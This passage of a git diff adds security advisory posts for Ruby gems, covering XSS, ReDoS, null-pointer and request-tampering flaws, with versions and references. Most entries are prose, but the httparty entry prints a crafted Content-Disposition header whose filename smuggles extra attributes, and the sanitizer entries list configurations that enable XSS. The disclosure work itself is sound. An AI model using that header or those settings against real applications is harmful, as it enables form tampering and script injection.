+  cvss_v3: 8.8
+  patched_versions:
+  - "~> 2.2.3"
+  - ">= 3.0.4"
+  related:
+    url:
+    - https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf
+    - https://github.com/sinatra/sinatra/commit/ea8fc9495a350f7551b39e3025bfcd06f49f363b
+    ghsa:
+    - 8x94-hmjh-97hq
+---
diff --git a/advisories/_posts/2022-12-07-CVE-2022-23476.md b/advisories/_posts/2022-12-07-CVE-2022-23476.md
new file mode 100644
index 00000000..a64f8fe0
--- /dev/null
+++ b/advisories/_posts/2022-12-07-CVE-2022-23476.md
@@ -0,0 +1,48 @@
+---
+layout: advisory
+title: 'CVE-2022-23476 (nokogiri): Unchecked return value from xmlTextReaderExpand'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2022-23476
+  ghsa: qv4q-mr5r-qprj
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-qv4q-mr5r-qprj
+  title: Unchecked return value from xmlTextReaderExpand
+  date: 2022-12-07
+  description: |
+    ## Summary
+
+    Nokogiri `1.13.8, 1.13.9` fails to check the return value from `xmlTextReaderExpand` in the method `Nokogiri::XML::Reader#attribute_hash`. This can lead to a null pointer exception when invalid markup is being parsed.
+
+    For applications using `XML::Reader` to parse untrusted inputs, this may potentially be a vector for a denial of service attack.
+
+
+    ## Mitigation
+
+    Upgrade to Nokogiri `>= 1.13.10`.
+
+    Users may be able to search their code for calls to either `XML::Reader#attributes` or `XML::Reader#attribute_hash` to determine if they are affected.
+
+
+    ## Severity
+
+    The Nokogiri maintainers have evaluated this as [High Severity 7.5 (CVSS3.1)](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
+
+
+    ## References
+
+    - [CWE - CWE-252: Unchecked Return Value (4.9)](https://cwe.mitre.org/data/definitions/252.html)
+    - [CWE - CWE-476: NULL Pointer Dereference (4.9)](https://cwe.mitre.org/data/definitions/476.html)
+
+
+    ## Credit
+
+    This vulnerability was responsibly reported by @davidwilemski.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "<= 1.13.7"
+  patched_versions:
+  - ">= 1.13.10"
+---
diff --git a/advisories/_posts/2022-12-13-CVE-2022-23514.md b/advisories/_posts/2022-12-13-CVE-2022-23514.md
new file mode 100644
index 00000000..11f30128
--- /dev/null
+++ b/advisories/_posts/2022-12-13-CVE-2022-23514.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2022-23514 (loofah): Inefficient Regular Expression Complexity in Loofah'
+comments: false
+categories:
+- loofah
+advisory:
+  gem: loofah
+  cve: 2022-23514
+  ghsa: 486f-hjj9-9vhh
+  url: https://github.com/flavorjones/loofah/security/advisories/GHSA-486f-hjj9-9vhh
+  title: Inefficient Regular Expression Complexity in Loofah
+  date: 2022-12-13
+  description: |
+    ## Summary
+
+    Loofah `< 2.19.1` contains an inefficient regular expression that is susceptible to excessive backtracking when attempting to sanitize certain SVG attributes. This may lead to a denial of service through CPU resource consumption.
+
+    ## Mitigation
+
+    Upgrade to Loofah `>= 2.19.1`.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.19.1"
+  related:
+    url:
+    - https://cwe.mitre.org/data/definitions/1333.html
+    - https://hackerone.com/reports/1684163
+---
diff --git a/advisories/_posts/2022-12-13-CVE-2022-23515.md b/advisories/_posts/2022-12-13-CVE-2022-23515.md
new file mode 100644
index 00000000..1b47b44b
--- /dev/null
+++ b/advisories/_posts/2022-12-13-CVE-2022-23515.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2022-23515 (loofah): Improper neutralization of data URIs may allow XSS
+  in Loofah'
+comments: false
+categories:
+- loofah
+advisory:
+  gem: loofah
+  cve: 2022-23515
+  ghsa: 228g-948r-83gx
+  url: https://github.com/flavorjones/loofah/security/advisories/GHSA-228g-948r-83gx
+  title: Improper neutralization of data URIs may allow XSS in Loofah
+  date: 2022-12-13
+  description: |
+    ## Summary
+
+    Loofah `>= 2.1.0, < 2.19.1` is vulnerable to cross-site scripting via the `image/svg+xml` media type in data URIs.
+
+    ## Mitigation
+
+    Upgrade to Loofah `>= 2.19.1`.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 2.1.0"
+  patched_versions:
+  - ">= 2.19.1"
+  related:
+    url:
+    - https://cwe.mitre.org/data/definitions/79.html
+    - https://github.com/w3c/svgwg/issues/266
+    - https://hackerone.com/reports/1694173
+    - https://github.com/flavorjones/loofah/issues/101
+---
diff --git a/advisories/_posts/2022-12-13-CVE-2022-23516.md b/advisories/_posts/2022-12-13-CVE-2022-23516.md
new file mode 100644
index 00000000..d60f7f92
--- /dev/null
+++ b/advisories/_posts/2022-12-13-CVE-2022-23516.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2022-23516 (loofah): Uncontrolled Recursion in Loofah'
+comments: false
+categories:
+- loofah
+advisory:
+  gem: loofah
+  cve: 2022-23516
+  ghsa: 3x8r-x6xp-q4vm
+  url: https://github.com/flavorjones/loofah/security/advisories/GHSA-3x8r-x6xp-q4vm
+  title: Uncontrolled Recursion in Loofah
+  date: 2022-12-13
+  description: |
+    ## Summary
+
+    Loofah `>= 2.2.0, < 2.19.1` uses recursion for sanitizing `CDATA` sections, making it susceptible to stack exhaustion and raising a `SystemStackError` exception.  This may lead to a denial of service through CPU resource consumption.
+
+    ## Mitigation
+
+    Upgrade to Loofah `>= 2.19.1`.
+
+    Users who are unable to upgrade may be able to mitigate this vulnerability by limiting the length of the strings that are sanitized.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 2.2.0"
+  patched_versions:
+  - ">= 2.19.1"
+  related:
+    url:
+    - https://cwe.mitre.org/data/definitions/674.html
+---
diff --git a/advisories/_posts/2022-12-13-CVE-2022-23517.md b/advisories/_posts/2022-12-13-CVE-2022-23517.md
new file mode 100644
index 00000000..e424d04a
--- /dev/null
+++ b/advisories/_posts/2022-12-13-CVE-2022-23517.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2022-23517 (rails-html-sanitizer): Inefficient Regular Expression Complexity
+  in rails-html-sanitizer'
+comments: false
+categories:
+- rails-html-sanitizer
+advisory:
+  gem: rails-html-sanitizer
+  cve: 2022-23517
+  ghsa: 5x79-w82f-gw8w
+  url: https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-5x79-w82f-gw8w
+  title: Inefficient Regular Expression Complexity in rails-html-sanitizer
+  date: 2022-12-13
+  description: |
+    ## Summary
+
+    Certain configurations of rails-html-sanitizer `< 1.4.4` use an inefficient regular expression that is susceptible to excessive backtracking when attempting to sanitize certain SVG attributes. This may lead to a denial of service through CPU resource consumption.
+
+    ## Mitigation
+
+    Upgrade to rails-html-sanitizer `>= 1.4.4`.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.4.4"
+  related:
+    url:
+    - https://cwe.mitre.org/data/definitions/1333.html
+    - https://hackerone.com/reports/1684163
+---
diff --git a/advisories/_posts/2022-12-13-CVE-2022-23518.md b/advisories/_posts/2022-12-13-CVE-2022-23518.md
new file mode 100644
index 00000000..f94bc826
--- /dev/null
+++ b/advisories/_posts/2022-12-13-CVE-2022-23518.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2022-23518 (rails-html-sanitizer): Improper neutralization of data URIs
+  may allow XSS in rails-html-sanitizer'
+comments: false
+categories:
+- rails-html-sanitizer
+advisory:
+  gem: rails-html-sanitizer
+  cve: 2022-23518
+  ghsa: mcvf-2q2m-x72m
+  url: https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-mcvf-2q2m-x72m
+  title: Improper neutralization of data URIs may allow XSS in rails-html-sanitizer
+  date: 2022-12-13
+  description: |
+    ## Summary
+
+    rails-html-sanitizer `>= 1.0.3, < 1.4.4` is vulnerable to cross-site scripting via data URIs when used in combination with Loofah `>= 2.1.0`.
+
+    ## Mitigation
+
+    Upgrade to rails-html-sanitizer `>= 1.4.4`.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 1.0.3"
+  patched_versions:
+  - ">= 1.4.4"
+  related:
+    url:
+    - https://cwe.mitre.org/data/definitions/79.html
+    - https://github.com/w3c/svgwg/issues/266
+    - https://github.com/rails/rails-html-sanitizer/issues/135
+    - https://hackerone.com/reports/1694173
+---
diff --git a/advisories/_posts/2022-12-13-CVE-2022-23519.md b/advisories/_posts/2022-12-13-CVE-2022-23519.md
new file mode 100644
index 00000000..554735f8
--- /dev/null
+++ b/advisories/_posts/2022-12-13-CVE-2022-23519.md
@@ -0,0 +1,84 @@
+---
+layout: advisory
+title: 'CVE-2022-23519 (rails-html-sanitizer): Possible XSS vulnerability with certain
+  configurations of rails-html-sanitizer'
+comments: false
+categories:
+- rails-html-sanitizer
+advisory:
+  gem: rails-html-sanitizer
+  cve: 2022-23519
+  ghsa: 9h9g-93gc-623h
+  url: https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-9h9g-93gc-623h
+  title: Possible XSS vulnerability with certain configurations of rails-html-sanitizer
+  date: 2022-12-13
+  description: |
+    ## Summary
+
+    There is a possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer.
+
+    - Versions affected: ALL
+    - Not affected: NONE
+    - Fixed versions: 1.4.4
+
+    ## Impact
+
+    A possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer may allow an attacker to inject content if the application developer has overridden the sanitizer's allowed tags in either of the following ways:
+
+    - allow both "math" and "style" elements,
+    - or allow both "svg" and "style" elements
+
+    Code is only impacted if allowed tags are being overridden. Applications may be doing this in four different ways:
+
+    1. using application configuration:
+
+      ```ruby
+      # In config/application.rb
+      config.action_view.sanitized_allowed_tags = ["math", "style"]
+      # or
+      config.action_view.sanitized_allowed_tags = ["svg", "style"]
+      ```
+
+      see https://guides.rubyonrails.org/configuring.html#configuring-action-view
+
+    2. using a `:tags` option to the Action View helper `sanitize`:
+
+      ```
+      <%= sanitize @comment.body, tags: ["math", "style"] %>
+      <%# or %>
+      <%= sanitize @comment.body, tags: ["svg", "style"] %>
+      ```
+
+      see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize
+
+    3. using Rails::Html::SafeListSanitizer class method `allowed_tags=`:
+
+      ```ruby
+      # class-level option
+      Rails::Html::SafeListSanitizer.allowed_tags = ["math", "style"]
+      # or
+      Rails::Html::SafeListSanitizer.allowed_tags = ["svg", "style"]
+      ```
+
+    4. using a `:tags` options to the Rails::Html::SafeListSanitizer instance method `sanitize`:
+
+      ```ruby
+      # instance-level option
+      Rails::Html::SafeListSanitizer.new.sanitize(@article.body, tags: ["math", "style"])
+      # or
+      Rails::Html::SafeListSanitizer.new.sanitize(@article.body, tags: ["svg", "style"])
+      ```
+
+    All users overriding the allowed tags by any of the above mechanisms to include (("math" or "svg") and "style") should either upgrade or use one of the workarounds immediately.
+
+    ## Workarounds
+
+    Remove "style" from the overridden allowed tags, or remove "math" and "svg" from the overridden allowed tags.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 1.4.4"
+  related:
+    url:
+    - https://cwe.mitre.org/data/definitions/79.html
+    - https://hackerone.com/reports/1656627
+---
diff --git a/advisories/_posts/2022-12-13-CVE-2022-23520.md b/advisories/_posts/2022-12-13-CVE-2022-23520.md
new file mode 100644
index 00000000..51077d8a
--- /dev/null
+++ b/advisories/_posts/2022-12-13-CVE-2022-23520.md
@@ -0,0 +1,65 @@
+---
+layout: advisory
+title: 'CVE-2022-23520 (rails-html-sanitizer): Possible XSS vulnerability with certain
+  configurations of rails-html-sanitizer'
+comments: false
+categories:
+- rails-html-sanitizer
+advisory:
+  gem: rails-html-sanitizer
+  cve: 2022-23520
+  ghsa: rrfc-7g8p-99q8
+  url: https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-rrfc-7g8p-99q8
+  title: Possible XSS vulnerability with certain configurations of rails-html-sanitizer
+  date: 2022-12-13
+  description: |
+    ## Summary
+
+    There is a possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer. This is due to an incomplete fix of CVE-2022-32209.
+
+    - Versions affected: ALL
+    - Not affected: NONE
+    - Fixed versions: 1.4.4
+
+    ## Impact
+
+    A possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer may allow an attacker to inject content if the application developer has overridden the sanitizer's allowed tags to allow both "select" and "style" elements.
+
+    Code is only impacted if allowed tags are being overridden using either of the following two mechanisms:
+
+    1. Using the Rails configuration `config.action_view.sanitized_allow_tags=`:
+
+      ```ruby
+      # In config/application.rb
+      config.action_view.sanitized_allowed_tags = ["select", "style"]
+      ```
+
+      (see https://guides.rubyonrails.org/configuring.html#configuring-action-view)
+
+    2. Using the class method `Rails::Html::SafeListSanitizer.allowed_tags=`:
+
+      ```ruby
+      # class-level option
+      Rails::Html::SafeListSanitizer.allowed_tags = ["select", "style"]
+      ```
+
+    All users overriding the allowed tags by either of the above mechanisms to include both "select" and "style" should either upgrade or use one of the workarounds immediately.
+
+    NOTE: Code is _not_ impacted if allowed tags are overridden using either of the following mechanisms:
+
+    - the `:tags` option to the Action View helper method `sanitize`.
+    - the `:tags` option to the instance method `SafeListSanitizer#sanitize`.
+
+    ## Workarounds
+
+    Remove either "select" or "style" from the overridden allowed tags.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 1.4.4"
+  related:
+    cve:
+    - 2022-32209
+    url:
+    - https://cwe.mitre.org/data/definitions/79.html
+    - https://hackerone.com/reports/1654310
+---
diff --git a/advisories/_posts/2022-12-19-CVE-2021-4250.md b/advisories/_posts/2022-12-19-CVE-2021-4250.md
new file mode 100644
index 00000000..03e274f5
--- /dev/null
+++ b/advisories/_posts/2022-12-19-CVE-2021-4250.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2021-4250 (active_attr): active_attr Improper Resource Shutdown or Release
+  vulnerability'
+comments: false
+categories:
+- active_attr
+advisory:
+  gem: active_attr
+  cve: 2021-4250
+  ghsa: 4whf-rmx5-8frv
+  url: https://github.com/cgriego/active_attr/issues/184
+  title: active_attr Improper Resource Shutdown or Release vulnerability
+  date: 2022-12-19
+  description: |
+    A vulnerability classified as problematic has been found in cgriego active_attr
+    up to 0.15.3. This affects the function call of the file
+    lib/active_attr/typecasting/boolean_typecaster.rb of the component Regex Handler.
+    The manipulation of the argument value leads to denial of service. The exploit
+    has been disclosed to the public and may be used. Upgrading to version 0.15.4 can
+    address this issue. The name of the patch is dab95e5843b01525444b82bd7b336ef1d79377df.
+    It is recommended to upgrade the affected component. The associated identifier of
+    this vulnerability is VDB-216207.
+  cvss_v3: 3.5
+  patched_versions:
+  - ">= 0.15.4"
+  related:
+    url:
+    - https://github.com/cgriego/active_attr/pull/185
+    - https://github.com/cgriego/active_attr/commit/dab95e5843b01525444b82bd7b336ef1d79377df
+    - https://github.com/cgriego/active_attr/releases/tag/v0.15.4
+    - https://vuldb.com/?id.216207
+---
diff --git a/advisories/_posts/2022-12-22-CVE-2020-36624.md b/advisories/_posts/2022-12-22-CVE-2020-36624.md
new file mode 100644
index 00000000..fd7ecd4b
--- /dev/null
+++ b/advisories/_posts/2022-12-22-CVE-2020-36624.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2020-36624 (text_helpers): text_helpers uses web link to untrusted target
+  with window.opener access'
+comments: false
+categories:
+- text_helpers
+advisory:
+  gem: text_helpers
+  cve: 2020-36624
+  ghsa: 74hc-57m5-83ch
+  url: https://github.com/ahorner/text-helpers/pull/19
+  title: text_helpers uses web link to untrusted target with window.opener access
+  date: 2022-12-22
+  description: |
+    A vulnerability was found in ahorner text-helpers 1.1.0/1.1.1. It has
+    been declared as critical. This vulnerability affects unknown code of the file
+    lib/text_helpers/translation.rb. The manipulation of the argument link leads to
+    use of web link to untrusted target with window.opener access. The attack can be
+    initiated remotely. Upgrading to version 1.2.0 can address this issue. The name
+    of the patch is 184b60ded0e43c985788582aca2d1e746f9405a3. It is recommended to
+    upgrade the affected component. The identifier of this vulnerability is VDB-216520.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 1.1.0"
+  patched_versions:
+  - ">= 1.2.0"
+  related:
+    url:
+    - https://github.com/ahorner/text-helpers/commit/184b60ded0e43c985788582aca2d1e746f9405a3
+    - https://github.com/ahorner/text-helpers/releases/tag/v1.2.0
+    - https://vuldb.com/?id.216520
+---
diff --git a/advisories/_posts/2022-12-27-CVE-2019-25088.md b/advisories/_posts/2022-12-27-CVE-2019-25088.md
new file mode 100644
index 00000000..a8dd994b
--- /dev/null
+++ b/advisories/_posts/2022-12-27-CVE-2019-25088.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2019-25088 (oxidized-web): Oxidized Web vulnerable to Cross-site Scripting'
+comments: false
+categories:
+- oxidized-web
+advisory:
+  gem: oxidized-web
+  cve: 2019-25088
+  ghsa: 8qwh-rm6c-jv96
+  url: https://github.com/ytti/oxidized-web/pull/195
+  title: Oxidized Web vulnerable to Cross-site Scripting
+  date: 2022-12-27
+  description: |
+    A vulnerability was found in ytti Oxidized Web. It has been classified
+    as problematic. Affected is an unknown function of the file `lib/oxidized/web/views/conf_search.haml`.
+    The manipulation of the argument `to_research` leads to cross site scripting. It
+    is possible to launch the attack remotely. The name of the patch is 55ab9bdc68b03ebce9280b8746ef31d7fdedcc45.
+    It is recommended to apply a patch to fix this issue. VDB-216870 is the identifier
+    assigned to this vulnerability.
+  cvss_v3: 5.4
+  related:
+    url:
+    - https://github.com/ytti/oxidized-web/commit/55ab9bdc68b03ebce9280b8746ef31d7fdedcc45
+    - https://vuldb.com/?id.216870
+---
diff --git a/advisories/_posts/2022-12-31-CVE-2017-20159.md b/advisories/_posts/2022-12-31-CVE-2017-20159.md
new file mode 100644
index 00000000..bfc64ea4
--- /dev/null
+++ b/advisories/_posts/2022-12-31-CVE-2017-20159.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2017-20159 (keynote): keynote Cross-site Scripting vulnerability'
+comments: false
+categories:
+- keynote
+advisory:
+  gem: keynote
+  cve: 2017-20159
+  ghsa: 399p-vq28-5hg8
+  url: https://github.com/rf-/keynote/commit/05be4356b0a6ca7de48da926a9b997beb5ffeb4a
+  title: keynote Cross-site Scripting vulnerability
+  date: 2022-12-31
+  description: |
+    A vulnerability was found in rf Keynote up to 0.x. It has been rated
+    as problematic. Affected by this issue is some unknown functionality of the file
+    lib/keynote/rumble.rb. The manipulation of the argument value leads to cross site
+    scripting. The attack may be launched remotely. Upgrading to version 1.0.0 can address
+    this issue. The name of the patch is 05be4356b0a6ca7de48da926a9b997beb5ffeb4a. It
+    is recommended to upgrade the affected component. VDB-217142 is the identifier assigned
+    to this vulnerability.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 1.0.0"
+  related:
+    url:
+    - https://github.com/rf-/keynote/releases/tag/v1.0.0
+    - https://vuldb.com/?id.217142
+---
diff --git a/advisories/_posts/2023-01-03-CVE-2024-22049.md b/advisories/_posts/2023-01-03-CVE-2024-22049.md
new file mode 100644
index 00000000..86ca43cb
--- /dev/null
+++ b/advisories/_posts/2023-01-03-CVE-2024-22049.md
@@ -0,0 +1,35 @@
+---
+layout: advisory
+title: 'CVE-2024-22049 (httparty): httparty has multipart/form-data request tampering
+  vulnerability'
+comments: false
+categories:
+- httparty
+advisory:
+  gem: httparty
+  cve: 2024-22049
+  ghsa: 5pq7-52mg-hr42
+  url: https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42
+  title: httparty has multipart/form-data request tampering vulnerability
+  date: 2023-01-03
+  description: |
+    HTTP multipart/form-data request tampering vulnerability in httparty < 0.20.0,
+    due to lack of proper escaping of double quotes within the filename attribute
+    of the Content-Disposition header. If the Content-Disposition header is set to
+    "form-data" and contains the "filename" attribute, and the "filename"
+    attribute contains a double quote followed by additional attributes, then
+    those attributes will be parsed as Content-Disposition attributes and will
+    override the Content-Disposition header's previous attributes.
+
+        Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 0.21.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-22049
+    - https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42
+    - https://github.com/jnunemaker/httparty/commit/cdb45a678c43e44570b4e73f84b1abeb5ec22b8e
+    - https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43
+    - https://github.com/advisories/GHSA-5pq7-52mg-hr42
+---
diff --git a/advisories/_posts/2023-01-03-GHSA-5pq7-52mg-hr42.md b/advisories/_posts/2023-01-03-GHSA-5pq7-52mg-hr42.md
new file mode 100644
index 00000000..810cfd82
--- /dev/null
+++ b/advisories/_posts/2023-01-03-GHSA-5pq7-52mg-hr42.md
@@ -0,0 +1,37 @@
+---
+layout: advisory
+title: 'GHSA-5pq7-52mg-hr42 (httparty): httparty has multipart/form-data request tampering
+  vulnerability'
+comments: false
+categories:
+- httparty
+advisory:
+  gem: httparty
+  ghsa: 5pq7-52mg-hr42
+  url: https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42
+  title: httparty has multipart/form-data request tampering vulnerability
+  date: 2023-01-03
+  description: |
+    "multipart/form-data request tampering vulnerability"
+    caused by Content-Disposition "filename" lack of escaping in httparty.
+
+    `httparty/lib/httparty/request` > `body.rb` > `def generate_multipart`
+
+    https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43
+
+    By exploiting this problem, the following attacks are possible
+
+    * An attack that rewrites the \"name\" field according to the crafted file
+    name, impersonating (overwriting) another field.
+    * Attacks that rewrite the filename extension at the time multipart/form-data
+    is generated by tampering with the filename.
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 0.21.0"
+  related:
+    url:
+    - https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42
+    - https://github.com/jnunemaker/httparty/commit/cdb45a678c43e44570b4e73f84b1abeb5ec22b8e
+    - https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43
+    - https://bugzilla.mozilla.org/show_bug.cgi?id=1556711
+---
diff --git a/advisories/_posts/2023-01-04-CVE-2023-22626.md b/advisories/_posts/2023-01-04-CVE-2023-22626.md
new file mode 100644
index 00000000..948c7a08
--- /dev/null
+++ b/advisories/_posts/2023-01-04-CVE-2023-22626.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2023-22626 (pghero): Information Disclosure Through EXPLAIN Feature'
+comments: false
+categories:
+- pghero
+advisory:
+  gem: pghero
+  cve: 2023-22626
+  ghsa: vf99-xw26-86g5
+  url: https://github.com/ankane/pghero/issues/439
+  title: Information Disclosure Through EXPLAIN Feature
+  date: 2023-01-04
+  description: |
+    A malicious PgHero user can use the EXPLAIN functionality to extract data from
+    the database. With certain inputs, a user can get the results of a query to
+    appear in an error message. If the PgHero database user has superuser privileges
+    (not recommended), the user can use file access functions to read files on the
+    database server.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 3.1.0"
+---
diff --git a/advisories/_posts/2023-01-05-CVE-2022-46648.md b/advisories/_posts/2023-01-05-CVE-2022-46648.md
new file mode 100644
index 00000000..f08f8121
--- /dev/null
+++ b/advisories/_posts/2023-01-05-CVE-2022-46648.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2022-46648 (git): Potential remote code execution in ruby-git'
+comments: false
+categories:
+- git
+advisory:
+  gem: git
+  cve: 2022-46648
+  ghsa: pfpr-3463-c6jh
+  url: https://github.com/ruby-git/ruby-git/pull/602
+  title: Potential remote code execution in ruby-git
+  date: 2023-01-05
+  description: |
+    The git gem, between versions 1.2.0 and 1.12.0, incorrectly parsed the output
+    of the 'git ls-files' command using eval() to unescape quoted file names.
+    If a file name was added to the git repository contained special characters,
+    such as '\n', then the 'git ls-files' command would print the file name in
+    quotes and escape any special characters.
+    If the 'Git#ls_files' method encountered a quoted file name it would use
+    eval() to unquote and unescape any special characters, leading to potential
+    remote code execution. Version 1.13.0 of the git gem was released which
+    correctly parses any quoted file names.
+  cvss_v3: 5.5
+  unaffected_versions:
+  - "< 1.2.0"
+  patched_versions:
+  - ">= 1.13.0"
+  related:
+    url:
+    - https://github.com/ruby-git/ruby-git/releases/tag/v1.13.0
+---
diff --git a/advisories/_posts/2023-01-07-CVE-2020-36644.md b/advisories/_posts/2023-01-07-CVE-2020-36644.md
new file mode 100644
index 00000000..52e015d3
--- /dev/null
+++ b/advisories/_posts/2023-01-07-CVE-2020-36644.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2020-36644 (inline_svg): Inline SVG vulnerable to Cross-site Scripting'
+comments: false
+categories:
+- inline_svg
+advisory:
+  gem: inline_svg
+  cve: 2020-36644
+  ghsa: p33q-4h4m-j994
+  url: https://github.com/jamesmartin/inline_svg/pull/117
+  title: Inline SVG vulnerable to Cross-site Scripting
+  date: 2023-01-07
+  description: |
+    A vulnerability has been found in jamesmartin Inline SVG up to 1.7.1
+    and classified as problematic. Affected by this vulnerability is an unknown functionality
+    of the file `lib/inline_svg/action_view/helpers.rb` of the component `URL Parameter
+    Handler`. The manipulation of the argument filename leads to cross site scripting.
+    The attack can be launched remotely. Upgrading to version 1.7.2 is able to address
+    this issue. The name of the patch is f5363b351508486021f99e083c92068cf2943621. It
+    is recommended to upgrade the affected component. The identifier VDB-217597 was
+    assigned to this vulnerability.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 1.7.2"
+  related:
+    url:
+    - https://github.com/jamesmartin/inline_svg/commit/f5363b351508486021f99e083c92068cf2943621
+    - https://github.com/jamesmartin/inline_svg/releases/tag/v1.7.2
+    - https://vuldb.com/?id.217597
+---
diff --git a/advisories/_posts/2023-01-14-CVE-2022-1812.md b/advisories/_posts/2023-01-14-CVE-2022-1812.md
new file mode 100644
index 00000000..9408d7a5
--- /dev/null
+++ b/advisories/_posts/2023-01-14-CVE-2022-1812.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2022-1812 (publify_core): Integer overflow in publify_core'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2022-1812
+  ghsa: rc42-jghf-vr8f
+  url: https://github.com/publify/publify/commit/29a5837c29620e33857d7a5afce01384e3f8e41a
+  title: Integer overflow in publify_core
+  date: 2023-01-14
+  description: |
+    Integer Overflow or Wraparound in GitHub repository publify/publify prior
+    to 9.2.10 due to an unlimited length user name field.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 9.2.10"
+  related:
+    url:
+    - https://huntr.dev/bounties/17d86a50-265c-4ec8-9592-0bd909ddc8f3
+---
diff --git a/advisories/_posts/2023-01-14-CVE-2022-2815.md b/advisories/_posts/2023-01-14-CVE-2022-2815.md
new file mode 100644
index 00000000..8773a718
--- /dev/null
+++ b/advisories/_posts/2023-01-14-CVE-2022-2815.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2022-2815 (publify_core): Publify Core does not strip metadata from images'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2022-2815
+  ghsa: 79wq-g4v9-gfj4
+  url: https://github.com/publify/publify/commit/af69097d349f4c00f244c51cd3c3e937fd3387cd
+  title: Publify Core does not strip metadata from images
+  date: 2023-01-14
+  description: |
+    Insecure Storage of Sensitive Information in GitHub repository publify/publify
+    prior to 9.2.10.
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 9.2.10"
+  related:
+    url:
+    - https://huntr.dev/bounties/22fdcc39-8c1a-4e4c-8eae-be3fd764f8b4
+    - https://github.com/publify/publify_core/commit/33f897c12b6efdcdfd8cf9df924deba0f878b71e
+---
diff --git a/advisories/_posts/2023-01-14-CVE-2023-0299.md b/advisories/_posts/2023-01-14-CVE-2023-0299.md
new file mode 100644
index 00000000..1c468b3f
--- /dev/null
+++ b/advisories/_posts/2023-01-14-CVE-2023-0299.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2023-0299 (publify_core): Publify Improper Input Validation vulnerability'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2023-0299
+  ghsa: q3rm-f527-ghxj
+  url: https://github.com/publify/publify/commit/ca46da283572b4f8c0b5aa245008756c8a5fd1b1
+  title: Publify Improper Input Validation vulnerability
+  date: 2023-01-14
+  description: |
+    Improper Input Validation in GitHub repository publify/publify prior
+    to 9.2.10.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 9.2.10"
+  related:
+    url:
+    - https://huntr.dev/bounties/0049774b-1857-46dc-a834-f1fb15138c53
+    - https://github.com/publify/publify_core/commit/34f6e9c98e0e3b3f9896f9676b3d6442220e2b4e
+---
diff --git a/advisories/_posts/2023-01-16-CVE-2015-10053.md b/advisories/_posts/2023-01-16-CVE-2015-10053.md
new file mode 100644
index 00000000..7dd6f446
--- /dev/null
+++ b/advisories/_posts/2023-01-16-CVE-2015-10053.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2015-10053 (curupira): curupira is vulnerable to SQL injection'
+comments: false
+categories:
+- curupira
+advisory:
+  gem: curupira
+  cve: 2015-10053
+  ghsa: 85gf-wr67-f83w
+  url: https://github.com/prodigasistemas/curupira/commit/93a9a77896bb66c949acb8e64bceafc74bc8c271
+  title: curupira is vulnerable to SQL injection
+  date: 2023-01-16
